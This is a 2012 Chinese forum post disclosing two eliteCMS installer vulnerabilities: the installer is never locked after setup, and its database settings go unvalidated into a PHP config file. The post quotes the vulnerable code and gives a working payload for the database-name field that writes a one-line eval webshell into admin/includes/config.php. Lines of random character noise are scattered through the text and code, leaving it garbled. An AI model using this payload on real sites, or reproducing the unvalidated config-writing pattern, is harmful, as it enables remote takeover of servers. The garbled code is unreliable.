找回密码
 立即注册
查看: 3348|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
, i, ?& Q4 l5 H6 x- j
& P: Q; G: k, ]- e  i: {, V另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
( s/ i9 b9 w5 U5 W我们来看代码:$ S  `+ k3 A$ L/ K

0 D) M! U, Z& i" t/ b6 Q...
" C  h% W$ @0 R/ S) a% s' C* helseif ($_GET['step'] == "4") {( m3 E; R& ~+ r1 G, q( {6 c
    $file = "../admin/includes/config.php";
7 @7 s% E4 x$ D$ D2 f, ?/ J    $write = "<?php\n";
8 _8 J! @$ H3 P  {% ?) J5 I" ]/ n/ g    $write .= "/**\n";) N) t2 W( ~- k1 Y, N$ U
    $write .= "*\n";# h& C; p) `1 R8 X7 B
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";- m' J3 n+ _- h1 v7 y: Z
...略...
4 h) Z% H1 t* o5 W+ F    $write .= "*\n";3 J( a) r7 u1 W9 f+ ?
    $write .= "*/\n";
9 S" d: M. h4 @6 j* Y5 r    $write .= "\n";9 s5 I" F$ P4 F& U9 o& E
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
% F- ]9 D( x) ]% S& |    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
% q5 }# }0 n3 C; Y    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
* b6 _+ m& n# l/ T; V2 u' u    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";. o2 |/ I/ t3 D
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";% T" a* e& ]6 H! g+ C* @1 z
    $write .= "if (!\$connection) {\n";+ {0 b2 v6 f% W3 \2 E7 o$ w, h
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";; W: ~( s; S) S4 z7 [: ~
    $write .= "        \n";$ u3 Y3 |% f6 I* B! B* r! G
    $write .= "} \n";
. l+ S: J' D! G3 x$ N4 u    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";* D+ ~* o6 Q- L  @5 b" T
    $write .= "if (!\$db_select) {\n";
- _3 X) s* g( j( q    $write .= "        die(\"Database select failed\" .mysql_error());\n";' k8 j+ E4 z" W# {2 U* c
    $write .= "        \n";
4 x8 x/ y" `' Y( E; Z3 \" J4 Q1 Q    $write .= "} \n";
: X% M+ z9 i7 v    $write .= "?>\n";
4 B0 d* n% h( V2 f* g 4 y  P: d1 H. O( ]
    $writer = fopen($file, 'w');
* h: c7 S. S2 X: r' B; c...
+ O$ _& k' u. S% ~/ i1 L
: \" D  C- f- G6 o1 D) v在看代码:
4 w  L& R2 H' G" z$ K6 h! m
2 g  j3 C' [$ ?( E$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
0 z+ X3 T$ D, S  H, R$ L# Y: X0 d$_SESSION['DB_NAME'] = $_POST['DB_NAME'];, Q$ G  V  V! V; F) g- ]
$_SESSION['DB_USER'] = $_POST['DB_USER'];; p* C; m; S) c
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
7 e' T+ c6 K2 o4 }, k! q , F: ^9 x0 b& N( K
取值未作任何验证5 x. ]% ]0 |6 j; a% ]7 o
如果将数据库名POST数据:
6 {( x& D2 v! a
2 e+ M8 X. z1 C5 K& d"?><?php eval($_POST[c]);?><?php
) L- ?; o  g# C7 f  y . V; e3 P" f/ ^9 p
将导致一句话后门写入/admin/includes/config.php
4 a( K" ^/ Y: |- Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表